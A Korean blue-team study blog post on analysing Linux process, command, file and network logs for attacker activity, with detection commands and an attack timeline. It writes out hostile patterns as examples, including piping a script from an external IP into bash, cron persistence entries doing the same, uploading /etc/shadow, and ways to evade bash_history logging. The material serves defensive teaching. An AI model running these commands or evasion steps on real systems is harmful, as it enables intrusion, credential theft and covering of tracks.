AnbyMata의 해킹 노트

[Blue Team] EP.10 - 프로세스 / 명령 / 파일 / 네트워크 분석 본문

Blue Team (SOC)/Linux Log Analysis

[Blue Team] EP.10 - 프로세스 / 명령 / 파일 / 네트워크 분석

AnbyMata 2026. 5. 1. 22:00

[10-1] 프로세서와 명령 로그의 정보

프로세스와 명령 로그 = 공격자의 실제 행위 흔적

 

- 실행 파일 경로 : 정상 (`/usr/bin`), 의심 (`/tmp`, `/dev/shm`)

- 명령 인자 : 실행한 옵션 및 대상 (파일 다운로드, 특정 IP 접속...)

- 부모-자식 관계 (PPID) : 프로세스를 실행한 근원 추적 = 공격 흐름 추적

- UID / EUID : 실행한 권한 파악 = 권한 상승 여부 확인

 

각 공격 단계의 명령어들

1. Reconnaissance (정찰)

 - `id`, `whoami`, `uname -a`, `ps`, `netstat`

 → 시스템/네트워크 정보 수집

 

2. Execution (실행)

 - `bash`, `sh`, `python3`, `perl`

 → 악성 코드 실행

 

3. Download (도구 확보)

 - `curl`, `wget`, `scp`, `sftp`

 → 외부에서 파일 가져오기

 

4. Persistence (지속성 확보)

 - `crontab`, `systemctl enable`, `useradd`

 → 재부팅 후에도 유지

 

5. Exfiltration (정보 유출)

 - `scp`, `rsync`, `curl -F`, `nc`

 → 데이터 외부로 전송

 

 

[10-2] bash_history 한계점

bash_history = 사용자가 터미널에서 입력한 명령어 기록 파일

 

우회 방법

- 비대화형 shell (ex. 스크립트 실행) → 기록 안 남음

- 환경변수 조작 (`HISFILE=unset`) → 기록 비활성화

- 기록 타이밍 → 세션 종료 시점에 저장 (실시간이 아님)

- 우회 실행 (`sh script.sh`) → 기록이 안 남을 수 있음

- 삭제 → `history -c`, `.bash_history` 파일 삭제

 

보강 방법

- auditd (execve) : 커널 레벨 명령 실행 기록 → 삭제/조작 어려움

- EDR Telemetry : 부모-자식 프로세스 + 전체 커맨드 라인

- sudo 로그 : 권한 상승 흔적 (auth.log)

- 서비스 로그 (journald, nginx, cron) : 서비스/시스템 단위 행위 확인

 

 

[10-3] 외부 파일 이동 흔적

`curl` / `wget` = 파일 다운로드 / HTTP 통신

`scp` / `sftp` = 원격 서버와 파일 전송

 

위험 패턴

- `curl http://[외부IP]/a.sh | bash`

→ 외부 IP에서 스크립트 다운 후 즉시 실행

 

- `/tmp`, `/dev/shm`, `/var/tmp` 등의 비정상 경로 저장

임시 및 은닉의 목적

 

- `/etc/passwd`, `/etc/shadow` 등을 POST 요청으로 업로드

민감 정보 외부 전송

 

- `scp user@IP:path`

→ 원격 서버로 파일 전송 데이터 유출 가능성 

 

 

[10-4] 즉시 실행 & 은닉 실행 패턴

1. `curl`

 - 외부에서 데이터/파일 다운로드

 - HTTP 요청 가능 → 유출에도 사용

 

2. `chmod +x`

 - 파일에 실행 권한 부여

 - 다운로드 파일을 즉시 실행 가능 상태로 변경

 

3. `sh -c` / `bash -c`

 - 문자열을 명령으로 직접 실행
 - 파일 없이 코드 실행 가능

 

4. `nohup &`

 - 백그라운드 실행
 - 터미널 종료 후에도 계속 실행됨

 

5. `/dev/null`

 - 출력/에러를 버림 → 로그 숨기기

 

6. `base64 -d`

 - 인코딩된 문자열을 디코딩

 - 내용을 숨겨 탐지 우회

 

 

[10-5] 위험 경로 & 숨김 파일

`/tmp`

 - 모든 사용자에게 쓰기 기능 주어짐

 - 재부팅 시 초기화 → 임시 실행 / 악성 스크립트 투하 위치

 

`/var/tmp`

 - `/tmp`와 유사하지만, 재부팅 시에도 유지됨 → 지속성 확보용 경로

 

`/dev/shm`

 - 메모리 기반 파일 시스템

 - 디스크에 흔적 거의 없음 → 포렌식 회피

 

dot file (`.`으로 시작하는 파일)

 - 기본 `ls`에서 안보임 → 숨겨진 파일 저장

 

탐지 명령

`find /tmp /var/tmp /dev/shm -type f -perm /111`

- `/tmp`, `/var/tmp`, `/dev/shm`에서 행 권한 있는 파일 찾기

 

 

`find /tmp /home -name ".*" -type f`

- 이름이 `.`로 시작하는 숨겨진 파일 찾기

 

`find /tmp -mtime -1 -ls`

- `/tmp`에서 최근에 변경된 파일 찾기

 

 

[10-6] 지속성(Persistence) 확보

1. cron (반복 실행)

 - 일정 주기로 자동 실행 → 백도어 계속 유지

 - `(root) CMD (curl [외부_URL] | bash)`

 - `(root) CMD ([/tmp_경로] >/dev/null 2>&1)`

 

2. systemctl (서비스 등록)

 - 서비스로 등록 → 재부팅 후에도 실행

 - ExecStart=/tmp/... 설정

 - systemctl enable 설정

 - Restart=always 설정

 

 

[10-7] 공격 흐름

1. auth.log - 로그인 성공

2. sudo.log - root 권한 획득

3. auditd - `curl`로 파일 다운로드

4. auditd - `chmod` + 실행

5. cron - 지속 실행 확보

6. network - 외부 C2 연결

 

 

 


[Blue Team] EP.10 - 프로세스 / 명령 / 파일 / 네트워크 분석. END.